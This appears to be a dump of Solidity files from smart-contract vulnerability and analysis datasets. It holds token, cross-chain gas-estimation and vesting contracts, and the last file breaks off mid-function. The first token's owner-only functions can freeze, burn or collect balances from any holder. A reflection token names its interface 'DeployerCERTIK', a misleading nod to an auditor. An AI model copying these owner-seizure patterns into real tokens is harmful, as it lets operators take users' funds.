&& frozenAccount[_from] == false && frozenAccount[_to] == false);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool _success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 _remaining) {
return allowance[_owner][_spender];
}
function freezeAccounts(address[] _targets) onlyOwner whenNotPaused public returns (bool _success) {
require(_targets.length > 0);
for (uint j = 0; j < _targets.length; j++) {
require(_targets[j] != 0x0);
frozenAccount[_targets[j]] = true;
Freeze(_targets[j], balanceOf[_targets[j]]);
}
return true;
}
function unfreezeAccounts(address[] _targets) onlyOwner whenNotPaused public returns (bool _success) {
require(_targets.length > 0);
for (uint j = 0; j < _targets.length; j++) {
require(_targets[j] != 0x0);
frozenAccount[_targets[j]] = false;
Unfreeze(_targets[j], balanceOf[_targets[j]]);
}
return true;
}
function isFrozenAccount(address _target) public view returns (bool _is_frozen){
return frozenAccount[_target] == true;
}
function isContract(address _target) private view returns (bool _is_contract) {
uint length;
assembly {
length := extcodesize(_target)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool _success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool _success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function burn(address _from, uint256 _amount) onlyOwner whenNotPaused public returns (bool _success) {
require(_amount > 0 && balanceOf[_from] >= _amount);
_amount = _amount.mul(1e6);
balanceOf[_from] = balanceOf[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Burn(_from, _amount);
return true;
}
function rain(address[] _addresses, uint256 _amount) onlyOwner whenNotPaused public returns (bool _success) {
require(_amount > 0 && _addresses.length > 0 && frozenAccount[msg.sender] == false);
_amount = _amount.mul(1e6);
uint256 totalAmount = _amount.mul(_addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
for (uint j = 0; j < _addresses.length; j++) {
require(_addresses[j] != 0x0 && frozenAccount[_addresses[j]] == false);
balanceOf[_addresses[j]] = balanceOf[_addresses[j]].add(_amount);
Transfer(msg.sender, _addresses[j], _amount);
}
Rain(msg.sender, totalAmount);
return true;
}
function collectTokens(address[] _addresses, uint[] _amounts) onlyOwner whenNotPaused public returns (bool _success) {
require(_addresses.length > 0 && _addresses.length == _amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < _addresses.length; j++) {
require(_amounts[j] > 0 && _addresses[j] != 0x0 && frozenAccount[_addresses[j]] == false);
_amounts[j] = _amounts[j].mul(1e6);
require(balanceOf[_addresses[j]] >= _amounts[j]);
balanceOf[_addresses[j]] = balanceOf[_addresses[j]].sub(_amounts[j]);
totalAmount = totalAmount.add(_amounts[j]);
Transfer(_addresses[j], msg.sender, _amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function() payable public {}
}
| 146,711 | 14,050 |
b3554a6e7be51db5007e6fc4bab6f39bb4763ff4f0acbfc26620d9dddf5dfeb8
| 11,945 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/67/6780f377edaF42976417c1Ac6e41e134c70C13be_GasEstimation.sol
| 2,541 | 10,836 |
// File src/libraries/GasEstimation.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.17;
interface ILayerZeroUltraLightNodeV2 {
// Relayer functions
function validateTransactionProof(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _lookupHash, bytes32 _blockData, bytes calldata _transactionProof) external;
// an Oracle delivers the block data using updateHash()
function updateHash(uint16 _srcChainId, bytes32 _lookupHash, uint _confirmations, bytes32 _blockData) external;
// can only withdraw the receivable of the msg.sender
function withdrawNative(address payable _to, uint _amount) external;
function withdrawZRO(address _to, uint _amount) external;
// view functions
function getAppConfig(uint16 _remoteChainId, address _userApplicationAddress) external view returns (ApplicationConfiguration memory);
function accruedNativeFee(address _address) external view returns (uint);
struct ApplicationConfiguration {
uint16 inboundProofLibraryVersion;
uint64 inboundBlockConfirmations;
address relayer;
uint16 outboundProofType;
uint64 outboundBlockConfirmations;
address oracle;
}
event HashReceived(uint16 indexed srcChainId, address indexed oracle, bytes32 lookupHash, bytes32 blockData, uint confirmations);
event RelayerParams(bytes adapterParams, uint16 outboundProofType);
event Packet(bytes payload);
event InvalidDst(uint16 indexed srcChainId, bytes srcAddress, address indexed dstAddress, uint64 nonce, bytes32 payloadHash);
event PacketReceived(uint16 indexed srcChainId, bytes srcAddress, address indexed dstAddress, uint64 nonce, bytes32 payloadHash);
event AppConfigUpdated(address indexed userApplication, uint indexed configType, bytes newConfig);
event AddInboundProofLibraryForChain(uint16 indexed chainId, address lib);
event EnableSupportedOutboundProof(uint16 indexed chainId, uint16 proofType);
event SetChainAddressSize(uint16 indexed chainId, uint size);
event SetDefaultConfigForChainId(uint16 indexed chainId, uint16 inboundProofLib, uint64 inboundBlockConfirm, address relayer, uint16 outboundProofType, uint64 outboundBlockConfirm, address oracle);
event SetDefaultAdapterParamsForChainId(uint16 indexed chainId, uint16 indexed proofType, bytes adapterParams);
event SetLayerZeroToken(address indexed tokenAddress);
event SetRemoteUln(uint16 indexed chainId, bytes32 uln);
event SetTreasury(address indexed treasuryAddress);
event WithdrawZRO(address indexed msgSender, address indexed to, uint amount);
event WithdrawNative(address indexed msgSender, address indexed to, uint amount);
}
interface ILayerZeroUserApplicationConfig {
// @notice set the configuration of the LayerZero messaging library of the specified version
// @param _version - messaging library version
// @param _chainId - the chainId for the pending config change
// @param _configType - type of configuration. every messaging library has its own convention.
// @param _config - configuration in the bytes. can encode arbitrary content.
function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external;
// @notice set the send() LayerZero messaging library version to _version
// @param _version - new messaging library version
function setSendVersion(uint16 _version) external;
// @notice set the lzReceive() LayerZero messaging library version to _version
// @param _version - new messaging library version
function setReceiveVersion(uint16 _version) external;
// @param _srcChainId - the chainId of the source chain
// @param _srcAddress - the contract address of the source contract at the source chain
function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;
}
interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig {
// @notice send a LayerZero message to the specified address at a LayerZero endpoint.
// @param _dstChainId - the destination chain identifier
// @param _payload - a custom bytes payload to send to the destination contract
// @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction
function send(uint16 _dstChainId, bytes calldata _destination, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable;
// @notice used by the messaging library to publish verified payload
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source contract (as bytes) at the source chain
// @param _dstAddress - the address on destination chain
// @param _nonce - the unbound message ordering nonce
// @param _gasLimit - the gas limit for external contract execution
// @param _payload - verified payload to send to the destination contract
function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external;
// @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64);
// @notice get the outboundNonce from this source chain which, consequently, is always an EVM
// @param _srcAddress - the source chain contract address
function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64);
// @param _dstChainId - the destination chain identifier
// @param _userApplication - the user app address on this EVM chain
// @param _payload - the custom message to send over LayerZero
// @param _payInZRO - if false, user app pays the protocol fee in native token
function estimateFees(uint16 _dstChainId, address _userApplication, bytes calldata _payload, bool _payInZRO, bytes calldata _adapterParam) external view returns (uint nativeFee, uint zroFee);
// @notice get this Endpoint's immutable source identifier
function getChainId() external view returns (uint16);
// @notice the interface to retry failed message on this Endpoint destination
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
// @param _payload - the payload to be retried
function retryPayload(uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload) external;
// @notice query if any STORED payload (message blocking) at the endpoint.
// @param _srcChainId - the source chain identifier
// @param _srcAddress - the source chain contract address
function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);
// @notice query if the _libraryAddress is valid for sending msgs.
// @param _userApplication - the user app address on this EVM chain
function getSendLibraryAddress(address _userApplication) external view returns (address);
// @notice query if the _libraryAddress is valid for receiving msgs.
// @param _userApplication - the user app address on this EVM chain
function getReceiveLibraryAddress(address _userApplication) external view returns (address);
// @notice query if the non-reentrancy guard for send() is on
// @return true if the guard is on. false otherwise
function isSendingPayload() external view returns (bool);
// @notice query if the non-reentrancy guard for receive() is on
// @return true if the guard is on. false otherwise
function isReceivingPayload() external view returns (bool);
// @notice get the configuration of the LayerZero messaging library of the specified version
// @param _version - messaging library version
// @param _chainId - the chainId for the pending config change
// @param _userApplication - the contract address of the user application
// @param _configType - type of configuration. every messaging library has its own convention.
function getConfig(uint16 _version, uint16 _chainId, address _userApplication, uint _configType) external view returns (bytes memory);
// @notice get the send() LayerZero messaging library version
// @param _userApplication - the contract address of the user application
function getSendVersion(address _userApplication) external view returns (uint16);
// @notice get the lzReceive() LayerZero messaging library version
// @param _userApplication - the contract address of the user application
function getReceiveVersion(address _userApplication) external view returns (uint16);
}
contract GasEstimation {
/// @notice Multiplier for price ratio
uint internal constant LZ_PRICE_RATIO_MULTIPLIER = 1e10;
struct GasEstimationData {
ILayerZeroEndpoint lzEndpoint;
uint16 homeChainId;
uint16 remoteChainId;
uint24 callbackGas;
uint24 remoteGas;
bytes callbackPayload;
bytes remotePayload;
address addressOnDst;
}
function estimate(GasEstimationData calldata data)
external
view
returns (uint totalFee, bytes memory adapterParams)
{
// Gas amount to be airdropped on the remote chain,
// and will be used to cover the callback on the home chain.
(uint callbackFee,) = data.lzEndpoint.estimateFees(data.homeChainId,
msg.sender,
data.callbackPayload,
false,
abi.encodePacked(uint16(1), uint(data.callbackGas)));
// Fee required for executing the logic on the remote chain
(uint remoteFee,) = data.lzEndpoint.estimateFees(data.remoteChainId, msg.sender, data.remotePayload, false, abi.encodePacked(uint16(1), uint(data.remoteGas)));
// Total fee in native gas token
totalFee = callbackFee + remoteFee;
ILayerZeroUltraLightNodeV2 node =
ILayerZeroUltraLightNodeV2((data.lzEndpoint).getSendLibraryAddress(address(this)));
ILayerZeroUltraLightNodeV2.ApplicationConfiguration memory config =
node.getAppConfig(data.remoteChainId, address(this));
//@todo investigate why dstPriceLookup is not a part of the interface
(uint dstPriceRatio,) = ILayerZeroRelayerV2Viewer(config.relayer).dstPriceLookup(data.remoteChainId);
adapterParams = abi.encodePacked(uint16(2), uint(data.remoteGas), callbackFee * LZ_PRICE_RATIO_MULTIPLIER / dstPriceRatio, data.addressOnDst);
}
}
interface ILayerZeroRelayerV2Viewer {
function dstPriceLookup(uint16 chainId) external view returns (uint128 dstPriceRatio, uint128 dstGasPriceInWei);
}
| 45,133 | 14,051 |
2f84383ad544bcd21ce7f1a3b434911c5aa7c6db4bfe3b58f3c1559ac66d7bf8
| 18,829 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8a/8a3dda1357528943619012fa0db9aefc300fd8a3_LAMBOFTM.sol
| 4,190 | 15,799 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LAMBOFTM is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'LAMBOFTM';
string private _symbol = 'LAMBOFTM';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(13);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 317,151 | 14,052 |
dc2d7165927a1d8173ffe493fa34ad803116c40e83c9f29f188df77f4860f3cf
| 24,246 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5572a6c464f50395a0f3bca67e75c51dd9321c02.sol
| 5,185 | 21,837 |
pragma solidity 0.4.21;
pragma experimental "v0.5.0";
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20TokenInterface {
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 _totalSupply);
function balanceOf(address _owner) external view returns (uint256 balance);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface TokenVestingInterface {
function getReleasableFunds() external view returns (uint256);
function release() external;
function setWithdrawalAddress(address _newAddress) external;
function revoke(string _reason) external view;
function getTokenBalance() external view returns (uint256);
function updateBalanceOnFunding(uint256 _amount) external;
function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external;
function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external;
}
interface VestingMasterInterface {
function amountLockedInVestings() view external returns (uint256);
function substractLockedAmount(uint256 _amount) external;
function addLockedAmount(uint256 _amount) external;
function addInternalBalance(uint256 _amount) external;
}
interface ReleasingScheduleInterface {
function getReleasableFunds(address _vesting) external view returns (uint256);
}
contract ReleasingScheduleLinearContract {
using SafeMath for uint256;
uint256 public startTime;
uint256 public tickDuration;
uint256 public amountPerTick;
function ReleasingScheduleLinearContract(uint256 _startTime, uint256 _tickDuration, uint256 _amountPerTick) public{
startTime = _startTime;
tickDuration = _tickDuration;
amountPerTick = _amountPerTick;
}
function getReleasableFunds(address _vesting) public view returns (uint256){
TokenVestingContract vesting = TokenVestingContract(_vesting);
uint256 balance = ERC20TokenInterface(vesting.tokenAddress()).balanceOf(_vesting);
// check if there is balance and if it is active yet
if (balance == 0 || (startTime >= now)) {
return 0;
}
// all funds that may be released according to vesting schedule
uint256 vestingScheduleAmount = (now.sub(startTime) / tickDuration) * amountPerTick;
// deduct already released funds
uint256 releasableFunds = vestingScheduleAmount.sub(vesting.alreadyReleasedAmount());
// make sure to release remainder of funds for last payout
if (releasableFunds > balance) {
releasableFunds = balance;
}
return releasableFunds;
}
}
contract TgeOtherReleasingScheduleContract is ReleasingScheduleLinearContract {
uint256 constant releaseDate = 1578873600;
uint256 constant monthLength = 2592000;
function TgeOtherReleasingScheduleContract(uint256 _amount, uint256 _startTime) ReleasingScheduleLinearContract(_startTime - monthLength, monthLength, _amount / 12) public {
}
function getReleasableFunds(address _vesting) public view returns (uint256) {
if (now < releaseDate) {
return 0;
}
return super.getReleasableFunds(_vesting);
}
}
contract TgeTeamReleasingScheduleContract {
uint256 constant releaseDate = 1578873600;
function TgeTeamReleasingScheduleContract() public {}
function getReleasableFunds(address _vesting) public view returns (uint256) {
TokenVestingContract vesting = TokenVestingContract(_vesting);
if (releaseDate >= now) {
return 0;
} else {
return vesting.getTokenBalance();
}
}
}
contract TokenVestingContract is Owned {
using SafeMath for uint256;
address public beneficiary;
address public tokenAddress;
bool public canReceiveTokens;
bool public revocable; //
bool public changable;
address public releasingScheduleContract;
bool fallbackTriggered;
bool public revoked;
uint256 public alreadyReleasedAmount;
uint256 public internalBalance;
event Released(uint256 _amount);
event RevokedAndDestroyed(string _reason);
event WithdrawalAddressSet(address _newAddress);
event TokensReceivedSinceLastCheck(uint256 _amount);
event VestingReceivedFunding(uint256 _amount);
event SetReleasingSchedule(address _addy);
event NotAllowedTokensReceived(uint256 amount);
function TokenVestingContract(address _beneficiary, address _tokenAddress, bool _canReceiveTokens, bool _revocable, bool _changable, address _releasingScheduleContract) public {
beneficiary = _beneficiary;
tokenAddress = _tokenAddress;
canReceiveTokens = _canReceiveTokens;
revocable = _revocable;
changable = _changable;
releasingScheduleContract = _releasingScheduleContract;
alreadyReleasedAmount = 0;
revoked = false;
internalBalance = 0;
fallbackTriggered = false;
}
function setReleasingSchedule(address _releasingScheduleContract) external onlyOwner {
require(changable);
releasingScheduleContract = _releasingScheduleContract;
emit SetReleasingSchedule(releasingScheduleContract);
}
function setWithdrawalAddress(address _newAddress) external onlyOwner {
beneficiary = _newAddress;
emit WithdrawalAddressSet(_newAddress);
}
/// release tokens that are already vested/releasable
function release() external returns (uint256 transferedAmount) {
checkForReceivedTokens();
require(msg.sender == beneficiary || msg.sender == owner);
uint256 amountToTransfer = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this);
require(amountToTransfer > 0);
// internal accounting
alreadyReleasedAmount = alreadyReleasedAmount.add(amountToTransfer);
internalBalance = internalBalance.sub(amountToTransfer);
VestingMasterInterface(owner).substractLockedAmount(amountToTransfer);
// actual transfer
ERC20TokenInterface(tokenAddress).transfer(beneficiary, amountToTransfer);
emit Released(amountToTransfer);
return amountToTransfer;
}
function revoke(string _reason) external onlyOwner {
require(revocable);
// returns funds not yet vested according to vesting schedule
